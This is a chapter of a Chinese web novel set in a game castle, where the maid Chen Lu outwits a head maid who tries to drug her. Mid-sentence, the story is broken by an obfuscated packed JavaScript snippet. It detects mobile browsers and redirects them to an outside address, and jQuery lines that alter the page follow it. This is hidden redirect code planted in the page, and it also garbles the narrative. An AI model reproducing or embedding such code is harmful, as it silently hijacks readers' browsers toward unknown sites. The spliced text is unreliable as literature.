深邃大灯球 作品

13. 傲娇?

【所以那个新加入的npC是好人?看到一半的时候我还以为她是间谍呢。】


【应该是好人吧。你们记不记得,主播做捉迷藏任务的时候,温妮莎说什么,“即使穿着女仆装,也永远爱你”之类的,感情这么好,原来是因为这个npC在劫匪手下救了温妮莎的命?】


【不应该吧。我觉得不是救了她的命,真实结局说不定是那个npC拼死相救,最后两个人一起死了。温妮莎被献祭,她则留在城堡里当女仆陪温妮莎。】


【啊,所以两个人到底是不是亲姐妹啊……】


【不管亲的还是干的,这口姐妹情我先浅吃了。】


【不是,所以主播干什么了啊?扭转局面的操作完全不是他打出来的吧?】


【都说了可能降难度了。主播要是没把温妮莎藏进柜子说不定现在也gg了。】


【大实话:主播是人家两个npC感情见证人。】


【原谅我不厚道地笑出了声。】


刘墨:……


……不过这次任务给了他们很重要的提示,温妮莎并不是自愿献祭,那么现在看来,屠杀案的始作俑者,就只有伯爵本人这一个选项了。


此时,门外。


月光如水,等待做任务的npC打了个哈欠,再睁眼,发现走廊里多出两个人影。


“小温妮莎,你可算出来了。你平时做这个任务不是很快的吗?哎呀,这位是……”


她瞥了一眼温妮莎旁边那个高些的人影,穿着城堡的女仆长裙,不由惊异地挑起眉毛,再定睛一看,两个人竟然还手牵手,脸上八卦的神情简直呼之欲出。


发现她的目光,温妮莎被烫到似的把手甩开了。


“谁也不是。”她撇开脸。


“好吧。”


太稀奇了,实在太稀奇了。据说温妮莎今天上午留了一个女仆在自己房间,女仆走后,她很高兴地在大厅里哼歌。


……哇。


“希望下次有机会和你聊天。”npC临走前不忘朝女仆飞吻。


温妮莎的表情肉眼可见地更僵了。


从画中世界出来,她的视力总算得到恢复,她扭身想要威胁陈露,又发现自己比她矮了太多,只能仰头看她,又后退几步,直到二人勉强可以平视,才低声威胁:


“把今天的事情说出去,你就完了。”


她看见陈露的表情微不可查地变了一下,停顿在了一个十分微妙的瞬间。


“看什么看?”


陈露心虚地错转视线:“没什么,大人。我困了,所以一时间没反应过来。”


还以为温妮莎要提出什么杀伤性的威胁呢,结果只有一句“你就完了”。她刚刚使用技能的积分都准备好了。


温妮莎的下一句话更是让陈露以为自己困出幻觉了。


“困了就赶快去睡觉,好好休息。”


陈露:??


“……看什么看,有什么好看的!听不懂人话就去治耳朵。”


在陈露错愕的视线中,温妮莎的耳尖开始泛红,她把“克拉拉”捏得嘎吱作响,直到洋伞发出“叽”的一声惨叫,踩着小皮鞋头也不回地上楼了。


陈露:……被骂了。


她摇摇头,向楼上走。


女仆单薄的身影映在向上的楼梯中,她只管疲惫地走,不曾注意到不远处,有一道视线正在注视着她。


是女仆长。


她不知是因为听到了什么,手指捏得很紧。


她无声地接近了毫无察觉的女仆,先是扳住女仆的脑袋 ,然后用摘下一只手套的手,死死捂住女仆的口鼻。


“呜呜!”女仆不明白发生了何事,慌乱又惊恐地出声挣扎,下一秒,她像一只被迷晕的动物似的,双眼上翻,软倒在地,毫无反抗的余地。


女仆长的嘴角泄出一丝笑意。


——太大意了。令陈露昏迷,比自己想象的要容易。


她拾起女仆的一条腿,拖入黑暗中。


而女仆长身后,本该“昏迷不醒”的陈露把眼睛掀开一条缝,悄悄露出心有余悸的表情。


幸好她反应的快,刚刚那只手捂上来的时候就屏住了呼吸。


防女仆长算是防对了。


她四下打量,发现这条路荒僻破旧,自己只在找克莱梵卡时摸到过一次,心中更是确定。


她被女仆长绑架了。


那就是时候了!


陈露把手伸进了围裙口袋。


——掏出了一大把猫粮。


在陈露小时候,她听过这么一个童话故事,一对兄妹被无良父母试图遗弃在森林深处,他们用面包屑撒在来的路上,给自己指路。


她准备效法这个故事,用来对付自己的无良领导。


是的,陈露向魆狗借大胖就是为的这个打算。人在江湖飘,哪能不挨刀。


她担心女仆长或者其他小Boss哪一天抓她来灭口,在今晚去见温妮莎之前就把大胖放在玩家们所处的二楼的格间,提前训练好了它。大胖只要稍微来三楼搜寻一下,就能发现她留下的踪迹。


女仆长一路走,她就一路撒,宛如一位辛勤的播种者,幽邃的小路留下一溜棕色的颗粒。


不知高高低低路过多少级台阶,陈露被拽得腿脚发麻时,她终于被女仆长放下来了。


那只手又蒙上来,女仆长在陈露耳边念诵着什么,陈露这才装作幽幽醒来,然后,她真情实感地被眼前的一幕震惊了。


烛火辉煌,绿植葳蕤,纤尘不染的地毯延伸到她们脚底,如同一间古堡里的温室,一看就被人精心照料过。房间的中央,是一口棺材。


闪念之间,直觉已经告诉陈露,这绝对就是温妮莎的棺椁。


……她把温妮莎的尸骨换了?地宫里的那副是假的?


女仆长没有管她,反而在逗弄一只蜥蜴。那只蜥蜴十分警惕在绿叶间上下游走,把一朵花的花瓣弄掉了几片。


“真不老实。”


不知道是在说蜥蜴,还是在说陈露。


“温妮莎很喜欢你。我不知道你接近她是故意还是无意,不过我想,你应该知道,温妮莎不是你赚取贡献值的工具,对吧。”


陈露:“……是的,大人。”


上流npC真会开玩笑,明明是她是温妮莎的玩物,她哪敢把温妮莎当工具。


说话间,女仆长从花盆后取出一把刮刀,刮刀上沾着粉红色半干的颜料,她喂给蜥蜴一块。


下一秒,原本好动的蜥蜴晃了晃脑袋,温顺地开始舔女仆长的手指,女仆长的手点向哪里,它就扑向哪里。


简直像失去了自己的意识似的。


女仆长:“抱歉,语言是最缺乏可信度的东西,关爱和同情都可以被当做粉饰恶意的材料。我需要一点凭证,才能放心地让你陪在温妮莎身边。”


她手指一指,蜥蜴毫不犹豫地扑进墙上的火焰,被烧成一团灰烬。女仆长转过身来,把刮刀拿到了陈露眼前。


“吃了它,你今天才能走出密室。”


女仆长看着陈露,冷淡的脸上短促地露出一个微笑。


不吃,她今天就会死在这里。


这个女仆在温妮莎身边得到一个“姐姐”的身份,今晚又和温妮莎亲昵地说着话,她毫不怀疑,这位女仆有一条蜂蜜浸出来的舌头,来供她花言巧语,为自己保驾护航。但很不巧,女仆长身上没有她可以用来作为筹码的弱点。


除了温妮莎,她没有什么可怕的。


果不其然,女仆面对着那团粉色,陷入死一般的沉默。


最后,女仆妥协般地叹了口气。


“女仆长大人,我知道我只是一位小小的下等女仆,杀了我会扣除的贡献值对您来说不值一提,但这样终究不太


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15053053|162853||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


好看。”


“——我知道您可能以为我会这么劝您,来试图救下自己,但我要说的是另一件事。”


她抬起头,轻轻把刮刀从自己面前推开,黑白分明的眼睛露出一种诚恳的劝说似的神色。


她说——


“温妮莎知道您在试图控制她的生活吗?大人。据说所知,子女一般不喜欢父母这种类似‘我为你好’的行动方式。”


刮刀“当啷”一声掉落在地。


她知道了?她什么时候知道的?哪里透露出来的线索?女仆长心中惊涛骇浪,花了几秒钟,才平静下来。


——把陈露带到这里,动机本就可疑,女仆长已经做好了让陈露知晓秘密的准备。毕竟过了今晚,陈露就不再能成为威胁。


但女仆的嘴巴一张一合,还在继续说下去:


“因为新npC的加入,温妮莎的画里出现了新的角色,玩家被分配到了温妮莎的‘妈妈’。温妮莎似乎很想让她的妈妈陪她。”


“她让妈妈做三件事。”


“给她做饭,哄她睡觉,还有,在那批人手上救出她。”


在女仆黑白分明的眼睛里,女仆长看见自己倒映其中的身影,那身影的脸色难看得可怖,牙齿在她嘴里被咬得咯吱咯吱响。


女仆长出离地愤怒,她几乎想扔了刮刀,直接杀了陈露,然而,陈露的下一句话让她溃不成军。


“我依稀记得,在火海里时,温妮莎大人还一直在问''妈妈',为什么没有陪她。”


“不知道温妮莎是不是因为真正的妈妈没有做到这些,才如此渴望呢?


女仆长无力地闭上眼睛。自责和痛苦如一片大浪,把她劈头盖脸地淹没。


温妮莎……她早夭的女儿,她的错,都是她的错。


陈露到底想干什么?


威胁?勒索?上位?


如果她能代替自己,稍微弥补温妮莎缺失的爱,她能稍微退步一点,让陈露安全地回去。


“你——”


她再次睁开眼,却见暗室房门大开,哪还有陈露的影子?


她被陈露诈了!


“陈露!”女仆长咬牙切齿,追了出去!


暗室在地宫和一层的夹层之中,陈露夺路狂奔。


系统提示为了补全新增npC的故事逻辑,给出了这样的设定:温妮莎衣食无忧,但她的“家人”却过着条件一般的生活。从后面的表现看来,温妮莎的“家人”们,连同她这个半路出现的便宜姐姐,似乎是收了伯爵的好处,帮助伯爵派来的人抓捕温妮莎。


合理怀疑这些根本不是温妮莎真正有血缘关系的亲人。


而刘墨扮演的“妈妈”却不是这样的角色,她是特殊的,在故事中——或者是温妮莎的希望中,从坏人手中救下了温妮莎。


所以是谁把温妮莎送到她的“家人”们身边的呢?是这位妈妈吗?


在画里的时候,陈露已经脑补了无数狗血故事。


——比如女仆长把女儿温妮莎送给别人抚养,但不知道什么原因,温妮莎被伯爵发现,设定为献祭的祭品之一,和抚养温妮莎的一家串通,带走了温妮莎。


而且,似乎,女仆长到现在都还没有和温妮莎相认。


她不清楚女仆长的实力,而且古堡完全是女仆长的天下,不是万不得已,她实在不想强闯。幸好,信女仆长的反应来看,她的猜测应该和实际情况大差不差。


现在只等大胖带着援军过来了。


风声呼呼地灌入耳朵,陈露再怎么经验丰富,也是个体能有限的人类,心脏在她胸膛中疯狂地跳动泵血,快得几乎要爆炸,而女仆长的影子却越来越近。


终于,暗道那边出现一人一猫两条影子。


陈露热泪盈眶,气沉丹田,大喊一声:


“温妮莎大人!”


女仆长的脚步骤然一顿。